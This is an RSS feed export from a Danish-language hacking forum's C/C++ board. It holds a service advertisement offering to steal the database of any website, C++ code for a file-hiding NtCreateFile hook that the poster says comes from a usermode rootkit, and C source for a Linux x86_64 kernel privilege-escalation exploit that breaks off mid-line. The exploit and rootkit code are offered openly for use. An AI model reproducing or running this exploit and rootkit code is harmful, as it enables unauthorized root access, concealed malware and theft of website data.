<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Shellsec - C++/C]]></title>
		<link>https://www.shellsec.pw/</link>
		<description><![CDATA[Shellsec - https://www.shellsec.pw]]></description>
		<pubDate>Tue, 05 May 2026 10:29:02 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[⛔️ We can pull the DB of any website you want. Send the site and we will pull it.. ⛔️]]></title>
			<link>https://www.shellsec.pw/traad-%E2%9B%94%EF%B8%8F-we-can-pull-the-db-of-any-website</link>
			<pubDate>Mon, 02 Feb 2026 02:40:19 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-%E2%9B%94%EF%B8%8F-we-can-pull-the-db-of-any-website</guid>
			<description><![CDATA[⛔️ We can pull the DB of any website you want. Send the site and we will pull it.. ⛔️<br />
<br />
Owner : <a href="https://t.me/ddosbbotnet" target="_blank" rel="noopener" class="mycode_url">https://t.me/ddosbbotnet</a><br />
<br />
Owner : <a href="https://t.me/ddosbbotnet" target="_blank" rel="noopener" class="mycode_url">https://t.me/ddosbbotnet</a><br />
<br />
Owner : <a href="https://t.me/ddosbbotnet" target="_blank" rel="noopener" class="mycode_url">https://t.me/ddosbbotnet</a>]]></description>
			<content:encoded><![CDATA[⛔️ We can pull the DB of any website you want. Send the site and we will pull it.. ⛔️<br />
<br />
Owner : <a href="https://t.me/ddosbbotnet" target="_blank" rel="noopener" class="mycode_url">https://t.me/ddosbbotnet</a><br />
<br />
Owner : <a href="https://t.me/ddosbbotnet" target="_blank" rel="noopener" class="mycode_url">https://t.me/ddosbbotnet</a><br />
<br />
Owner : <a href="https://t.me/ddosbbotnet" target="_blank" rel="noopener" class="mycode_url">https://t.me/ddosbbotnet</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[NtCreateFileNext Hook i C++]]></title>
			<link>https://www.shellsec.pw/traad-ntcreatefilenext-hook-i-c</link>
			<pubDate>Fri, 05 May 2017 22:30:20 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-ntcreatefilenext-hook-i-c</guid>
			<description><![CDATA[Denne kode skjuler en fil fuldstændigt, complie som et dynamisk library, du kan injekte den direkte ind i en process eller registry.<br />
Vi tager brug af windows API'en til at gøre filen fuldstændigt skjult om så du prøver at vise skjulte filer, dette er noget kode jeg har skrevet til mit usermode rootkit.<br />
<br />
Nyd det <img src="https://www.shellsec.pw/images/smilies/facebook/smile.png" alt="Smile" title="Smile" class="smilie smilie_79" /><br />
<br />
<pre class="line-numbers"><code class="language-cpp">#define STATUS_SUCCESS 0x00000000<br />
#define STATUS_ERROR   0xFFFFFFFF<br />
#define FILE_DOES_NOT_EXIST    0x00000005<br />
_NtCreateFileNext NtCreateFileNext = 0;<br />
NTSTATUS NtCreateFileHooked( _Out_   PHANDLE FileHandle , <br />
_In_     ACCESS_MASK        DesiredAccess ,<br />
_In_     POBJECT_ATTRIBUTES ObjectAttributes ,<br />
_Out_    PIO_STATUS_BLOCK   IoStatusBlock ,<br />
_In_opt_ PLARGE_INTEGER     AllocationSize ,<br />
_In_     ULONG              FileAttributes ,<br />
_In_     ULONG              ShareAccess ,<br />
_In_     ULONG              CreateDisposition ,<br />
_In_     ULONG              CreateOptions ,<br />
_In_     PVOID              EaBuffer ,<br />
_In_     ULONG              EaLength )<br />
{<br />
NTSTATUS status = NtCreateFileNext ( FileHandle , DesiredAccess , ObjectAttributes , IoStatusBlock ,<br />
AllocationSize , FileAttributes , ShareAccess , CreateDisposition ,<br />
CreateOptions  , EaBuffer , EaLength );<br />
if ( status == STATUS_SUCCESS )<br />
{<br />
wchar_t * path = new wchar_t [ ObjectAttributes-&gt;ObjectName-&gt;Length + 1 ];<br />
wmemcpy ( path , ObjectAttributes-&gt;ObjectName-&gt;Buffer , ObjectAttributes-&gt;ObjectName-&gt;Length );<br />
if ( StrStrW( path , L"Tor Browser" ) )<br />
{<br />
std::wcout &lt;&lt; L"-&gt; " &lt;&lt; path &lt;&lt; std::endl;<br />
IoStatusBlock-&gt;Information = FILE_DOES_NOT_EXIST;<br />
IoStatusBlock-&gt;Status = STATUS_ERROR;<br />
IoStatusBlock-&gt;Pointer = NULL;<br />
return STATUS_ERROR;<br />
}<br />
}<br />
<br />
return status;<br />
}<br />
</code></pre>]]></description>
			<content:encoded><![CDATA[Denne kode skjuler en fil fuldstændigt, complie som et dynamisk library, du kan injekte den direkte ind i en process eller registry.<br />
Vi tager brug af windows API'en til at gøre filen fuldstændigt skjult om så du prøver at vise skjulte filer, dette er noget kode jeg har skrevet til mit usermode rootkit.<br />
<br />
Nyd det <img src="https://www.shellsec.pw/images/smilies/facebook/smile.png" alt="Smile" title="Smile" class="smilie smilie_79" /><br />
<br />
<pre class="line-numbers"><code class="language-cpp">#define STATUS_SUCCESS 0x00000000<br />
#define STATUS_ERROR   0xFFFFFFFF<br />
#define FILE_DOES_NOT_EXIST    0x00000005<br />
_NtCreateFileNext NtCreateFileNext = 0;<br />
NTSTATUS NtCreateFileHooked( _Out_   PHANDLE FileHandle , <br />
_In_     ACCESS_MASK        DesiredAccess ,<br />
_In_     POBJECT_ATTRIBUTES ObjectAttributes ,<br />
_Out_    PIO_STATUS_BLOCK   IoStatusBlock ,<br />
_In_opt_ PLARGE_INTEGER     AllocationSize ,<br />
_In_     ULONG              FileAttributes ,<br />
_In_     ULONG              ShareAccess ,<br />
_In_     ULONG              CreateDisposition ,<br />
_In_     ULONG              CreateOptions ,<br />
_In_     PVOID              EaBuffer ,<br />
_In_     ULONG              EaLength )<br />
{<br />
NTSTATUS status = NtCreateFileNext ( FileHandle , DesiredAccess , ObjectAttributes , IoStatusBlock ,<br />
AllocationSize , FileAttributes , ShareAccess , CreateDisposition ,<br />
CreateOptions  , EaBuffer , EaLength );<br />
if ( status == STATUS_SUCCESS )<br />
{<br />
wchar_t * path = new wchar_t [ ObjectAttributes-&gt;ObjectName-&gt;Length + 1 ];<br />
wmemcpy ( path , ObjectAttributes-&gt;ObjectName-&gt;Buffer , ObjectAttributes-&gt;ObjectName-&gt;Length );<br />
if ( StrStrW( path , L"Tor Browser" ) )<br />
{<br />
std::wcout &lt;&lt; L"-&gt; " &lt;&lt; path &lt;&lt; std::endl;<br />
IoStatusBlock-&gt;Information = FILE_DOES_NOT_EXIST;<br />
IoStatusBlock-&gt;Status = STATUS_ERROR;<br />
IoStatusBlock-&gt;Pointer = NULL;<br />
return STATUS_ERROR;<br />
}<br />
}<br />
<br />
return status;<br />
}<br />
</code></pre>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Hack]]></title>
			<link>https://www.shellsec.pw/traad-hack--4829</link>
			<pubDate>Sun, 19 Feb 2017 19:45:56 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-hack--4829</guid>
			<description><![CDATA[Hi.<br />
Jeg leder efter et godt sted at lære at hacke fra C#<br />
Jeg håber i kan hjælpe mig.]]></description>
			<content:encoded><![CDATA[Hi.<br />
Jeg leder efter et godt sted at lære at hacke fra C#<br />
Jeg håber i kan hjælpe mig.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[x]]></title>
			<link>https://www.shellsec.pw/traad-x</link>
			<pubDate>Tue, 30 Aug 2016 14:10:20 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-x</guid>
			<description><![CDATA[x]]></description>
			<content:encoded><![CDATA[x]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Escalation root exploit i C påvirker x86_64 linux kernels.]]></title>
			<link>https://www.shellsec.pw/traad-escalation-root-exploit-i-c-paavirker</link>
			<pubDate>Sun, 01 Nov 2015 20:37:16 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-escalation-root-exploit-i-c-paavirker</guid>
			<description><![CDATA[Dette exploit kan escalare dig root på x86_64 linux kernels. effektivt og stille!<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP kode:</div><div class="body"><div dir="ltr"><code><span style="color: #FF8000">#include&nbsp;&lt;sys/types.h&gt;<br />#include&nbsp;&lt;sys/wait.h&gt;<br />#include&nbsp;&lt;sys/ptrace.h&gt;<br />#include&nbsp;&lt;inttypes.h&gt;<br />#include&nbsp;&lt;sys/reg.h&gt;<br />#include&nbsp;&lt;unistd.h&gt;<br />#include&nbsp;&lt;stdio.h&gt;<br />#include&nbsp;&lt;stdlib.h&gt;<br />#include&nbsp;&lt;sys/mman.h&gt;<br />#include&nbsp;&lt;string.h&gt;<br /><br /></span><span style="color: #0000BB">typedef&nbsp;int&nbsp;__attribute__</span><span style="color: #007700">((</span><span style="color: #0000BB">regparm</span><span style="color: #007700">(</span><span style="color: #0000BB">3</span><span style="color: #007700">)))&nbsp;(*&nbsp;</span><span style="color: #0000BB">_commit_creds</span><span style="color: #007700">)(</span><span style="color: #0000BB">unsigned&nbsp;long&nbsp;cred</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">typedef&nbsp;unsigned&nbsp;long&nbsp;__attribute__</span><span style="color: #007700">((</span><span style="color: #0000BB">regparm</span><span style="color: #007700">(</span><span style="color: #0000BB">3</span><span style="color: #007700">)))&nbsp;(*&nbsp;</span><span style="color: #0000BB">_prepare_kernel_cred</span><span style="color: #007700">)(</span><span style="color: #0000BB">unsigned&nbsp;long&nbsp;cred</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">_commit_creds&nbsp;commit_creds</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">_prepare_kernel_cred&nbsp;prepare_kernel_cred</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">int&nbsp;kernelmodecode</span><span style="color: #007700">(</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">file</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">submissive</span><span style="color: #007700">)<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">commit_creds</span><span style="color: #007700">(</span><span style="color: #0000BB">prepare_kernel_cred</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #0000BB">unsigned&nbsp;long<br />get_symbol</span><span style="color: #007700">(</span><span style="color: #0000BB">char&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">name</span><span style="color: #007700">)<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">FILE&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">f</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">unsigned&nbsp;long&nbsp;addr</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char&nbsp;dummy</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char&nbsp;sname</span><span style="color: #007700">[</span><span style="color: #0000BB">512</span><span style="color: #007700">];<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;ret&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">oldstyle&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;oldstyle&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">f&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #DD0000">"/proc/kallsyms"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"r"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">f&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">NULL</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">f&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #DD0000">"/proc/ksyms"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"r"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">f&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">NULL</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">oldstyle&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">ret&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">EOF</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">oldstyle</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ret&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fscanf</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"%p&nbsp;%c&nbsp;%s&#092;n"</span><span style="color: #007700">,&nbsp;(</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">**)&nbsp;&amp;</span><span style="color: #0000BB">addr</span><span style="color: #007700">,&nbsp;&amp;</span><span style="color: #0000BB">dummy</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sname</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ret&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fscanf</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"%p&nbsp;%s&#092;n"</span><span style="color: #007700">,&nbsp;(</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">**)&nbsp;&amp;</span><span style="color: #0000BB">addr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sname</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ret&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">p</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">sname</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"_O/"</span><span style="color: #007700">)&nbsp;||&nbsp;</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">sname</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"_S."</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">strrchr</span><span style="color: #007700">(</span><span style="color: #0000BB">sname</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'_'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">&gt;&nbsp;((</span><span style="color: #0000BB">char&nbsp;</span><span style="color: #007700">*)&nbsp;</span><span style="color: #0000BB">sname&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;!</span><span style="color: #0000BB">strncmp</span><span style="color: #007700">(</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"smp"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">&gt;&nbsp;(</span><span style="color: #0000BB">char&nbsp;</span><span style="color: #007700">*)</span><span style="color: #0000BB">sname&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;*(</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">'_'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">--;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'&#092;0'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ret&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fscanf</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"%s&#092;n"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sname</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">strcmp</span><span style="color: #007700">(</span><span style="color: #0000BB">name</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sname</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"resolved&nbsp;symbol&nbsp;%s&nbsp;to&nbsp;%p&#092;n"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">,&nbsp;(</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">*)&nbsp;</span><span style="color: #0000BB">addr</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fclose</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">addr</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fclose</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}<br /><br />&nbsp;<br />static&nbsp;</span><span style="color: #0000BB">void&nbsp;docall</span><span style="color: #007700">(</span><span style="color: #0000BB">uint64_t&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">ptr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">uint64_t&nbsp;size</span><span style="color: #007700">)<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">commit_creds&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">_commit_creds</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">get_symbol</span><span style="color: #007700">(</span><span style="color: #DD0000">"commit_creds"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">commit_creds</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"symbol&nbsp;table&nbsp;not&nbsp;available,&nbsp;aborting!&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">prepare_kernel_cred&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">_prepare_kernel_cred</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">get_symbol</span><span style="color: #007700">(</span><span style="color: #DD0000">"prepare_kernel_cred"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">prepare_kernel_cred</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"symbol&nbsp;table&nbsp;not&nbsp;available,&nbsp;aborting!&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">uint64_t&nbsp;tmp&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">uint64_t</span><span style="color: #007700">)</span><span style="color: #0000BB">ptr&nbsp;</span><span style="color: #007700">&amp;&nbsp;~</span><span style="color: #0000BB">0x00000000000FFF</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"mapping&nbsp;at&nbsp;%lx&#092;n"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">tmp</span><span style="color: #007700">);&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">mmap</span><span style="color: #007700">((</span><span style="color: #0000BB">void</span><span style="color: #007700">*)</span><span style="color: #0000BB">tmp</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">PROT_READ</span><span style="color: #007700">|</span><span style="color: #0000BB">PROT_WRITE</span><span style="color: #007700">|</span><span style="color: #0000BB">PROT_EXEC</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">MAP_PRIVATE</span><span style="color: #007700">|</span><span style="color: #0000BB">MAP_FIXED</span><span style="color: #007700">|</span><span style="color: #0000BB">MAP_ANONYMOUS</span><span style="color: #007700">,&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #0000BB">MAP_FAILED</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"mmap&nbsp;fault&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(;&nbsp;(</span><span style="color: #0000BB">uint64_t</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">ptr&nbsp;</span><span style="color: 